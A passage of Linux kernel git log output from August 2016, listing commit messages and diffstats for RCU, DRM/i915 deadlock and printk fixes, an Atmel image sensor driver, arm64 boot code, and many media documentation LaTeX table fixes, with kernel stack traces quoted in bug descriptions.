CONFIG_RCU_TORTURE_TEST_RUNNABLE was removed by commit 4e9a073f60367 ("torture: Remove CONFIG_RCU_TORTURE_TEST_RUNNABLE, simplify code"), but the documentation was not updated accordingly. This commit therefore updates the documentation to reflect CONFIG_RCU_TORTURE_TEST_RUNNABLE's removal and to add a description for the alternative module parameter. Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney Documentation/RCU/torture.txt | 15 --------------- 1 file changed, 15 deletions(-) commit b4ba97e76763c4e582e3af1079e220e93b1b0d76 Author: Chris Wilson Date: Fri Aug 19 08:37:50 2016 +0100 drm: Avoid calling dev_printk(.dev = NULL) Since dev_printk likes to print "(NULL device *):" when passed in a NULL pointer, we have to manually call printk() ourselves. Fixes: c4e68a583202 ("drm: Introduce DRM_DEV_* log messages") Signed-off-by: Chris Wilson Cc: Eric Engestrom Cc: Sean Paul Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/20160819073750.16610-1-chris@chris-wilson.co.uk drivers/gpu/drm/drm_drv.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 71fb2c74287d186938cde830ad8980f57a38b597 Author: Songjun Wu Date: Wed Aug 17 03:05:29 2016 -0300 [media] MAINTAINERS: atmel-isc: add entry for Atmel ISC Add the MAINTAINERS' entry for Microchip / Atmel Image Sensor Controller. Signed-off-by: Songjun Wu Acked-by: Nicolas Ferre Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit 3f75dc949b330f9ba73313cf058902bde86fd80d Author: Songjun Wu Date: Wed Aug 17 03:05:28 2016 -0300 [media] atmel-isc: DT binding for Image Sensor Controller driver DT binding documentation for ISC driver. Acked-by: Rob Herring Signed-off-by: Songjun Wu Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab .../devicetree/bindings/media/atmel-isc.txt | 65 ++++++++++++++++++++++ 1 file changed, 65 insertions(+) commit 106267444f12fde77f5aee92ca862a7138a88508 Author: Songjun Wu Date: Wed Aug 17 03:05:27 2016 -0300 [media] atmel-isc: add the Image Sensor Controller code Add driver for the Image Sensor Controller. It manages incoming data from a parallel based CMOS/CCD sensor. It has an internal image processor, also integrates a triple channel direct memory access controller master interface. Signed-off-by: Songjun Wu Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Kconfig | 1 + drivers/media/platform/Makefile | 2 + drivers/media/platform/atmel/Kconfig | 9 + drivers/media/platform/atmel/Makefile | 1 + drivers/media/platform/atmel/atmel-isc-regs.h | 165 +++ drivers/media/platform/atmel/atmel-isc.c | 1514 +++++++++++++++++++++++++ 6 files changed, 1692 insertions(+) commit bedc1969150d480c462cdac320fa944b694a7162 Author: Ding Tianhong Date: Wed Jun 15 15:27:36 2016 +0800 rcu: Fix soft lockup for rcu_nocb_kthread Carrying out the following steps results in a softlockup in the RCU callback-offload (rcuo) kthreads: 1. Connect to ixgbevf, and set the speed to 10Gb/s. 2. Use ifconfig to bring the nic up and down repeatedly. [ 317.005148] IPv6: ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready [ 368.106005] BUG: soft lockup - CPU#1 stuck for 22s! [rcuos/1:15] [ 368.106005] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 368.106005] task: ffff88057dd8a220 ti: ffff88057dd9c000 task.ti: ffff88057dd9c000 [ 368.106005] RIP: 0010:[] [] fib_table_lookup+0x14/0x390 [ 368.106005] RSP: 0018:ffff88061fc83ce8 EFLAGS: 00000286 [ 368.106005] RAX: 0000000000000001 RBX: 00000000020155c0 RCX: 0000000000000001 [ 368.106005] RDX: ffff88061fc83d50 RSI: ffff88061fc83d70 RDI: ffff880036d11a00 [ 368.106005] RBP: ffff88061fc83d08 R08: 0000000000000001 R09: 0000000000000000 [ 368.106005] R10: ffff880036d11a00 R11: ffffffff819e0900 R12: ffff88061fc83c58 [ 368.106005] R13: ffffffff816154dd R14: ffff88061fc83d08 R15: 00000000020155c0 [ 368.106005] FS: 0000000000000000(0000) GS:ffff88061fc80000(0000) knlGS:0000000000000000 [ 368.106005] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 368.106005] CR2: 00007f8c2aee9c40 CR3: 000000057b222000 CR4: 00000000000407e0 [ 368.106005] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 368.106005] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 368.106005] Stack: [ 368.106005] 00000000010000c0 ffff88057b766000 ffff8802e380b000 ffff88057af03e00 [ 368.106005] ffff88061fc83dc0 ffffffff815349a6 ffff88061fc83d40 ffffffff814ee146 [ 368.106005] ffff8802e380af00 00000000e380af00 ffffffff819e0900 020155c0010000c0 [ 368.106005] Call Trace: [ 368.106005] [ 368.106005] [ 368.106005] [] ip_route_input_noref+0x516/0xbd0 [ 368.106005] [] ? skb_release_data+0xd6/0x110 [ 368.106005] [] ? kfree_skb+0x3a/0xa0 [ 368.106005] [] ip_rcv_finish+0x29f/0x350 [ 368.106005] [] ip_rcv+0x234/0x380 [ 368.106005] [] __netif_receive_skb_core+0x676/0x870 [ 368.106005] [] __netif_receive_skb+0x18/0x60 [ 368.106005] [] process_backlog+0xae/0x180 [ 368.106005] [] net_rx_action+0x152/0x240 [ 368.106005] [] __do_softirq+0xef/0x280 [ 368.106005] [] call_softirq+0x1c/0x30 [ 368.106005] [ 368.106005] [ 368.106005] [] do_softirq+0x65/0xa0 [ 368.106005] [] local_bh_enable+0x94/0xa0 [ 368.106005] [] rcu_nocb_kthread+0x232/0x370 [ 368.106005] [] ? wake_up_bit+0x30/0x30 [ 368.106005] [] ? rcu_start_gp+0x40/0x40 [ 368.106005] [] kthread+0xcf/0xe0 [ 368.106005] [] ? kthread_create_on_node+0x140/0x140 [ 368.106005] [] ret_from_fork+0x58/0x90 [ 368.106005] [] ? kthread_create_on_node+0x140/0x140 ==================================cut here============================== It turns out that the rcuos callback-offload kthread is busy processing a very large quantity of RCU callbacks, and it is not reliquishing the CPU while doing so. This commit therefore adds an cond_resched_rcu_qs() within the loop to allow other tasks to run. Signed-off-by: Ding Tianhong [ paulmck: Substituted cond_resched_rcu_qs for cond_resched. ] Signed-off-by: Paul E. McKenney kernel/rcu/tree_plugin.h | 1 + 1 file changed, 1 insertion(+) commit 637ee29eff53fd718a454aacd3b7190cb4e15df8 Author: Chris Wilson Date: Mon Aug 22 14:28:20 2016 +0100 drm/i915: Fix nesting of filelist_mutex vs struct_mutex in i915_ppgtt_info An unlikely ABBA deadlock in debugfs that no one has reported. [ 284.922349] ====================================================== [ 284.922355] [ INFO: possible circular locking dependency detected ] [ 284.922361] 4.8.0-rc2+ #430 Tainted: G W [ 284.922366] ------------------------------------------------------- [ 284.922371] cat/1197 is trying to acquire lock: [ 284.922376] (&dev->filelist_mutex){+.+...}, at: [] i915_ppgtt_info+0x82/0x390 [i915] [ 284.922423] [ 284.922423] but task is already holding lock: [ 284.922429] (&dev->struct_mutex){+.+.+.}, at: [] i915_ppgtt_info+0x35/0x390 [i915] [ 284.922465] [ 284.922465] which lock already depends on the new lock. [ 284.922465] [ 284.922471] [ 284.922471] the existing dependency chain (in reverse order) is: [ 284.922477] -> #1 (&dev->struct_mutex){+.+.+.}: [ 284.922493] [] lock_acquire+0x60/0x80 [ 284.922505] [] mutex_lock_nested+0x5f/0x360 [ 284.922520] [] print_context_stats+0x37/0xf0 [i915] [ 284.922549] [] i915_gem_object_info+0x265/0x490 [i915] [ 284.922581] [] seq_read+0xe1/0x3b0 [ 284.922592] [] full_proxy_read+0x83/0xb0 [ 284.922604] [] __vfs_read+0x23/0x110 [ 284.922616] [] vfs_read+0x89/0x110 [ 284.922626] [] SyS_read+0x44/0xa0 [ 284.922636] [] entry_SYSCALL_64_fastpath+0x1c/0xac [ 284.922648] -> #0 (&dev->filelist_mutex){+.+...}: [ 284.922667] [] __lock_acquire+0x10fc/0x1270 [ 284.922678] [] lock_acquire+0x60/0x80 [ 284.922689] [] mutex_lock_nested+0x5f/0x360 [ 284.922701] [] i915_ppgtt_info+0x82/0x390 [i915] [ 284.922729] [] seq_read+0xe1/0x3b0 [ 284.922739] [] full_proxy_read+0x83/0xb0 [ 284.922750] [] __vfs_read+0x23/0x110 [ 284.922761] [] vfs_read+0x89/0x110 [ 284.922771] [] SyS_read+0x44/0xa0 [ 284.922781] [] entry_SYSCALL_64_fastpath+0x1c/0xac [ 284.922793] [ 284.922793] other info that might help us debug this: [ 284.922793] [ 284.922809] Possible unsafe locking scenario: [ 284.922809] [ 284.922818] CPU0 CPU1 [ 284.922825] ---- ---- [ 284.922831] lock(&dev->struct_mutex); [ 284.922842] lock(&dev->filelist_mutex); [ 284.922854] lock(&dev->struct_mutex); [ 284.922865] lock(&dev->filelist_mutex); [ 284.922875] [ 284.922875] *** DEADLOCK *** [ 284.922875] [ 284.922888] 3 locks held by cat/1197: [ 284.922895] #0: (debugfs_srcu){......}, at: [] full_proxy_read+0x0/0xb0 [ 284.922919] #1: (&p->lock){+.+.+.}, at: [] seq_read+0x38/0x3b0 [ 284.922942] #2: (&dev->struct_mutex){+.+.+.}, at: [] i915_ppgtt_info+0x35/0x390 [i915] [ 284.922983] Fixes: 1d2ac403ae3b ("drm: Protect dev->filelist with its own mutex") Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160822132820.21725-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit d30351f521595227dcc6142005b759bd588b9f65 Merge: 35398f7 7955dac Author: Linus Walleij Date: Mon Aug 22 15:58:56 2016 +0200 Merge tag 'sh-pfc-for-v4.9-tag1' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into devel pinctrl: sh-pfc: Updates for v4.9 - Bias and DU support for R-Car H3, - Basic R-Car V2H support, - Cleanups and fixes. commit 35398f7b38ab7e8a01fddd374b597c0c8d2d9d69 Author: Martin Blumenstingl Date: Sat Aug 20 11:54:19 2016 +0200 pinctrl: amlogic: gxbb: add the IR remote input pin This adds the IR remote receiver to the AO domain devices. Signed-off-by: Martin Blumenstingl Reviewed-by: Kevin Hilman Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 8d4b231af9d162859aa4b8aeaa09170230ea1b11 Author: Mauro Carvalho Chehab Date: Mon Aug 22 09:19:46 2016 -0300 [media] docs-rst: fix some .. note:: occurrences On some places, either an space or the second ':' is missing. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/examples.rst | 2 +- Documentation/media/uapi/v4l/dev-output.rst | 2 +- Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 2 +- Documentation/media/uapi/v4l/standard.rst | 2 +- Documentation/media/v4l-drivers/zr364xx.rst | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 8c978c0846cf1a702d302b555066b1a186592b32 Author: Mauro Carvalho Chehab Date: Sun Aug 21 14:07:35 2016 -0300 [media] docs-rst: fix some LaTeX errors when in interactive mode There are several minor issues that are seen when building PDF on interactive mode. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 2 +- Documentation/media/uapi/v4l/dev-subdev.rst | 2 +- Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 3 +-- Documentation/media/uapi/v4l/subdev-formats.rst | 6 +++--- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 4 ++-- 7 files changed, 10 insertions(+), 11 deletions(-) commit e653062450152d7a6688ef2aebead0b0674a3774 Author: Mauro Carvalho Chehab Date: Sat Aug 20 09:26:42 2016 -0300 [media] docs-rst: v4l2-drivers book: adjust column margins A few tables are not properly output on LaTeX format. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/v4l-drivers/cpia2.rst | 3 + Documentation/media/v4l-drivers/si476x.rst | 116 +++++++++++++++-------------- 2 files changed, 65 insertions(+), 54 deletions(-) commit 5257d2689caf25dcc9e479ad368dc3f774415147 Author: Mauro Carvalho Chehab Date: Sat Aug 20 09:25:51 2016 -0300 [media] v4l2-dev.rst: adjust table to fit into page One table here is not being properly displayed on LaTeX format. Adjust it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/v4l2-dev.rst | 1 + 1 file changed, 1 insertion(+) commit b782434133c7ff4db7ab46dab68dd0c2983a0b08 Author: Mauro Carvalho Chehab Date: Fri Aug 19 22:39:44 2016 -0300 [media] cec-ioc-receive.rst: one table here should be longtable The table is too big to fit into a single page on LaTeX format. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-ioc-receive.rst | 2 ++ 1 file changed, 2 insertions(+) commit a3045153a3b3828e8c918e497624dc6792b95a6d Author: Mauro Carvalho Chehab Date: Fri Aug 19 22:30:47 2016 -0300 [media] subdev-formats.rst: adjust tables size for LaTeX output There are two big tables here that are very hard to adjust its size. The first one would fit into one page, but the latex.py logic at Sphinx auto-switches to longtable when there are more than 30 rows. There's no way to override without coding. The second one is really big, and won't fit on a single page. So, it has to use tiny font to fit. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/subdev-formats.rst | 36 ++++++++++++++++++++----- 1 file changed, 30 insertions(+), 6 deletions(-) commit 894f5a9f4b4aaf154fce121d80199a2e2146d6d1 Author: Maxime Ripard Date: Mon Apr 11 12:16:33 2016 +0200 drm/sun4i: Add bridge support Our RGB bus can be either connected to a bridge or a panel. While the panel support was already there, the bridge was not. Fix that. Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_drv.c | 4 +-- drivers/gpu/drm/sun4i/sun4i_rgb.c | 58 +++++++++++++++++++++++++++++--------- drivers/gpu/drm/sun4i/sun4i_tcon.c | 43 ++++++++++++++++++++++++++-- drivers/gpu/drm/sun4i/sun4i_tcon.h | 1 + 4 files changed, 87 insertions(+), 19 deletions(-) commit a8444c7ee2c02b567731a6edcd5d328f85aac1b1 Author: Maxime Ripard Date: Wed Jul 20 10:35:06 2016 +0200 drm/sun4i: Move panel retrieval in RGB connector In order to properly support bridges and use drm_encoder's bridge pointer, move the panel (and bridge eventually) retrieval code in the RGB output init function. Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_rgb.c | 10 ++++++---- drivers/gpu/drm/sun4i/sun4i_tcon.c | 8 +------- drivers/gpu/drm/sun4i/sun4i_tcon.h | 2 ++ 3 files changed, 9 insertions(+), 11 deletions(-) commit ae558110e51737b3596f400505ee598acbbf6713 Author: Maxime Ripard Date: Tue Jul 19 15:17:27 2016 +0200 drm/sun4i: Store TCON's device structure pointer We will need to access TCON's struct device from outside of TCON's driver bind function. Store it in our private structure. Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_tcon.c | 1 + drivers/gpu/drm/sun4i/sun4i_tcon.h | 1 + 2 files changed, 2 insertions(+) commit 0c04622162ea65d0dcb0d5156f247131ceda64e0 Author: Mauro Carvalho Chehab Date: Fri Aug 19 19:23:37 2016 -0300 [media] extended-controls.rst: avoid going past page with LaTeX It is painful to put code/verbatim code in bold. It seems that the only way is to arrange it like: ``foo`` bar At least on LaTeX output, when this happens, the "foo" string is not hidentable/breakable. The entire string should fit into a single line. Add a workaround for this ReST limitation by splitting the foo string into two strings, on separate lines. The output is not the best, but it works. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/extended-controls.rst | 267 ++++++++++++++++----- 1 file changed, 213 insertions(+), 54 deletions(-) commit 43e4138be37a16b724666374b7e487d2410af8aa Author: Mauro Carvalho Chehab Date: Fri Aug 19 11:48:14 2016 -0300 [media] Fix a few additional tables at uAPI for LaTeX output There are still a few tables with wrong columns at the uAPI docs. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/fe-get-info.rst | 2 +- Documentation/media/uapi/dvb/fe_property_parameters.rst | 5 ++--- Documentation/media/uapi/v4l/buffer.rst | 2 +- Documentation/media/uapi/v4l/pixfmt-003.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-ext-ctrls.rst | 2 +- 5 files changed, 6 insertions(+), 7 deletions(-) commit fa92b04d98e7c52038c1eb1cbf89ba0ba8679a94 Author: Mauro Carvalho Chehab Date: Fri Aug 19 11:14:23 2016 -0300 [media] docs-rst: fix warnings introduced by LaTeX patchset Sphinx is really pedantic with respect to the order where table tags and references are created. Putting things at the wrong order causes troubles. The order that seems to work is: .. raw:: latex .. tabularcolumns:: .. _foo_name: .. cssclass: longtable .. flat-table:: Reorder the tags to the above order, to avoid troubles, and fix remaining warnings introduced by media recent patches. Signed-off-by: Mauro Carvalho Chehab .../media/uapi/cec/cec-ioc-adap-g-caps.rst | 6 ++-- .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 17 +++++----- Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 15 +++------ Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 9 ++---- Documentation/media/uapi/cec/cec-ioc-receive.rst | 10 +++--- .../media/uapi/mediactl/media-ioc-g-topology.rst | 18 ++++------- Documentation/media/uapi/v4l/dev-raw-vbi.rst | 6 ++-- Documentation/media/uapi/v4l/dev-subdev.rst | 4 +-- Documentation/media/uapi/v4l/pixfmt-002.rst | 3 +- Documentation/media/uapi/v4l/pixfmt-003.rst | 7 ++--- Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 8 ++--- Documentation/media/uapi/v4l/pixfmt-packed-yuv.rst | 2 +- Documentation/media/uapi/v4l/pixfmt-reserved.rst | 8 ++--- Documentation/media/uapi/v4l/subdev-formats.rst | 5 ++- .../media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 12 ++++---- .../media/uapi/v4l/vidioc-dbg-g-register.rst | 8 ++--- .../media/uapi/v4l/vidioc-decoder-cmd.rst | 8 ++--- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 36 +++++++++++----------- .../media/uapi/v4l/vidioc-dv-timings-cap.rst | 9 +++--- .../media/uapi/v4l/vidioc-encoder-cmd.rst | 11 +++---- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 9 +++--- .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 8 ++--- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 16 +++++----- Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 12 ++++---- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 3 +- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 12 ++++---- .../media/uapi/v4l/vidioc-g-dv-timings.rst | 12 +++----- .../media/uapi/v4l/vidioc-g-enc-index.rst | 11 +++---- .../media/uapi/v4l/vidioc-g-ext-ctrls.rst | 10 +++--- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 10 +++--- .../media/uapi/v4l/vidioc-g-frequency.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 7 ++--- .../media/uapi/v4l/vidioc-g-modulator.rst | 8 ++--- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 20 ++++++------ Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 16 +++++----- Documentation/media/uapi/v4l/vidioc-querycap.rst | 8 ++--- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 20 ++++++------ .../media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 4 +-- .../media/uapi/v4l/vidioc-subdev-g-fmt.rst | 8 ++--- .../media/uapi/v4l/vidioc-subscribe-event.rst | 8 ++--- 40 files changed, 186 insertions(+), 222 deletions(-) commit 42858b555292196a49b08f03a6e63758ac90a482 Author: Mauro Carvalho Chehab Date: Fri Aug 19 09:46:28 2016 -0300 [media] gen-errors.rst fix error table column limits Fix the generic errors table to avoid column overflows on LaTeX output. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/gen-errors.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0d6821ec2f05c36af1e2dfc993348ae7972cf935 Author: Mauro Carvalho Chehab Date: Fri Aug 19 09:42:15 2016 -0300 [media] uapi/cec: adjust tables on LaTeX output Fix tables to avoid text to overflow the cell limits. Signed-off-by: Mauro Carvalho Chehab .../media/uapi/cec/cec-ioc-adap-g-caps.rst | 4 ++-- .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 6 ++++-- Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 23 +++++++++------------- Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 6 +++--- Documentation/media/uapi/cec/cec-ioc-receive.rst | 6 +++--- 5 files changed, 21 insertions(+), 24 deletions(-) commit 9486f2ba952a34cf37740e6fa3a7c360f67bb30b Author: Mauro Carvalho Chehab Date: Fri Aug 19 08:46:13 2016 -0300 [media] cec-core: Convert it to ReST format There are some things there that aren't ok for ReST format. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/cec-core.rst | 147 ++++++++++++++++++++++------------ 1 file changed, 94 insertions(+), 53 deletions(-) commit 4e5c054edc14d4e5ceb1866d8624669d2793de08 Author: Mauro Carvalho Chehab Date: Fri Aug 19 08:39:16 2016 -0300 [media] docs-rst: move cec kAPI documentation to the media book The CEC kAPI documentation should also be part of the media book. Signed-off-by: Mauro Carvalho Chehab Documentation/cec.txt | 267 ---------------------------------- Documentation/media/kapi/cec-core.rst | 267 ++++++++++++++++++++++++++++++++++ Documentation/media/media_kapi.rst | 1 + 3 files changed, 268 insertions(+), 267 deletions(-) commit aea73abb90265110ed59281e370289316fd689f3 Author: Ard Biesheuvel Date: Tue Aug 16 21:02:32 2016 +0200 arm64: head.S: get rid of x25 and x26 with 'global' scope Currently, x25 and x26 hold the physical addresses of idmap_pg_dir and swapper_pg_dir, respectively, when running early boot code. But having registers with 'global' scope in files that contain different sections with different lifetimes, and that are called by different CPUs at different times is a bit messy, especially since stashing the values does not buy us anything in terms of code size or clarity. So simply replace each reference to x25 or x26 with an adrp instruction referring to idmap_pg_dir or swapper_pg_dir directly. Acked-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 28 +++++++++++++--------------- arch/arm64/kernel/sleep.S | 2 -- 2 files changed, 13 insertions(+), 17 deletions(-) commit d53c4261c6358dd2a031a273c2672dfc143fbf5f Author: Mauro Carvalho Chehab Date: Fri Aug 19 08:20:05 2016 -0300 [media] media-types.rst: adjust tables to fit on LaTeX output A few tables at the media uAPI documentation have columns not well dimentioned. Adjust them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/mediactl/media-types.rst | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 16dac3541d4de6a27920d4a3e3656893a5359d9d Author: Mauro Carvalho Chehab Date: Fri Aug 19 08:00:44 2016 -0300 [media] adjust remaining tables at DVB uAPI documentation There are a few broken tables on LaTeX output at the DVB uAPI documentation. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/audio-fopen.rst | 2 ++ Documentation/media/uapi/dvb/ca-fopen.rst | 2 ++ Documentation/media/uapi/dvb/dmx-fread.rst | 3 ++- Documentation/media/uapi/dvb/dmx-fwrite.rst | 2 ++ Documentation/media/uapi/dvb/dmx-set-pes-filter.rst | 2 +- Documentation/media/uapi/dvb/dmx-start.rst | 2 +- Documentation/media/uapi/dvb/dmx_types.rst | 1 + Documentation/media/uapi/dvb/fe-get-info.rst | 1 + Documentation/media/uapi/dvb/fe-read-status.rst | 1 + Documentation/media/uapi/dvb/video-fopen.rst | 2 ++ 10 files changed, 15 insertions(+), 3 deletions(-) commit e9012dc3d60e9736bde4ef94a251fe5492ee4a52 Author: Mauro Carvalho Chehab Date: Fri Aug 19 07:43:02 2016 -0300 [media] fe_property_parameters.rst: Adjust column sizes Add position hints for some tables, in order for them to be shown properly on LaTeX output. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/fe_property_parameters.rst | 3 +++ 1 file changed, 3 insertions(+) commit ed5d28d0b5147afdd9ba730b07a2e0be6fbfd05a Author: Mauro Carvalho Chehab Date: Fri Aug 19 07:34:13 2016 -0300 [media] fix v4l2-selection-*.rst tables for LaTeX output Adjust the tables there to fit inside the page margins. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/v4l2-selection-flags.rst | 1 + Documentation/media/uapi/v4l/v4l2-selection-targets.rst | 2 ++ 2 files changed, 3 insertions(+) commit 11d7512bfe23071b93bd7dc14abbc6ee002db2c3 Author: Mauro Carvalho Chehab Date: Fri Aug 19 06:56:43 2016 -0300 [media] vidioc-g-tuner.rst: Fix tables to fit at LaTeX output Several tables are missing column definitions and/or are too big to fit into the page. Adjust them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 32 ++++++++++++++++++------- 1 file changed, 24 insertions(+), 8 deletions(-) commit e19c1779fbad7539a17ae81eb447cd1f48dd2f41 Author: Mauro Carvalho Chehab Date: Fri Aug 19 06:56:36 2016 -0300 [media] vidioc-g-tuner.rst: improve documentation for tuner type The tuner type table misses descriptions for each type. While most of stuff are obvious, the two SDR definitions aren't. So, add descriptions to all of them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit ef76c0685f5591927c553430967bf2e12ddb1dd6 Author: Mauro Carvalho Chehab Date: Thu Aug 18 14:31:47 2016 -0300 [media] adjust some vidioc-*rst tables with wrong columns Adjust simple cases where the columns on some vidioc files are overriding their neighbours. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-dqevent.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enum-freq-bands.rst | 5 +++-- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-dv-timings.rst | 11 +---------- Documentation/media/uapi/v4l/vidioc-g-enc-index.rst | 6 +++--- Documentation/media/uapi/v4l/vidioc-g-ext-ctrls.rst | 14 ++++++++++---- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-modulator.rst | 10 ++++++---- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 16 ++++++++++++---- 13 files changed, 50 insertions(+), 30 deletions(-) commit e7eaeb37f6e2168e0b240548f775b6f7b3640392 Author: Mauro Carvalho Chehab Date: Fri Aug 19 05:40:55 2016 -0300 [media] vidioc-g-sliced-vbi-cap.rst: make tables fit on LaTeX output The tables don't fit at the page on this file. As noticed before, Sphinx (or LaTeX?) does a crap job on tables with cell span, and some work has to be done to make it fit. Move the see also reference to a footnote, break one paragraph into two and adjust the table columns to make it visible. Signed-off-by: Mauro Carvalho Chehab .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 30 +++++++++++++++++----- 1 file changed, 23 insertions(+), 7 deletions(-) commit 2bff5525366deb68c9e0ca22ce9285cd66eceae8 Author: Mauro Carvalho Chehab Date: Thu Aug 18 14:55:24 2016 -0300 [media] vidioc-enumstd.rst: adjust video standards table This table is too big for LaTeX output, and lacks columns specs for LaTeX format. Also, it has a hidden column, as there are some cell spans with the wrong values. Fix it, so it can be displayed properly on LaTeX/PDF. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enumstd.rst | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) commit 64f6838a2b3194c45f85f1335ae77df0bb1361f2 Author: Mauro Carvalho Chehab Date: Thu Aug 18 13:59:24 2016 -0300 [media] vidioc-dv-timings-cap.rst: Adjust LaTeX columns Some tables are not properly displayed on LaTeX. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-dv-timings-cap.rst | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 0e9411ac56ddd4771be0f513c64c6e8b7eb0af19 Author: Mauro Carvalho Chehab Date: Thu Aug 18 13:46:03 2016 -0300 [media] vidioc-dqevent.rst: adjust two table columns for LaTeX output There are two tables with mangled columns. Fix it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-dqevent.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 201784b5be79c52f641649a0bad919d4145582f3 Author: Mauro Carvalho Chehab Date: Thu Aug 18 13:31:34 2016 -0300 [media] vidioc-decoder-cmd.rst: better adjust column widths Better adjust the columns for LaTeX output Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-decoder-cmd.rst | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 3532d9d6c5b3e0f51be61efb2f1ca8912dc928b3 Author: Mauro Carvalho Chehab Date: Thu Aug 18 11:32:30 2016 -0300 [media] diff-v4l.rst: Make capabilities table fit in LaTeX This table has several troubles: - a duplicated "struct" on its name; - a reference to a V4L version 1 struct that will never point to something (as we got rid of V4L1 API a long time ago); - misses hints for LaTeX output (column size and longtable style). Fix them. It should be noticed that the first column of this table is not aligned with the rest. I suspect that this is a bug at the flat-table extension. Signed-off-by: Mauro 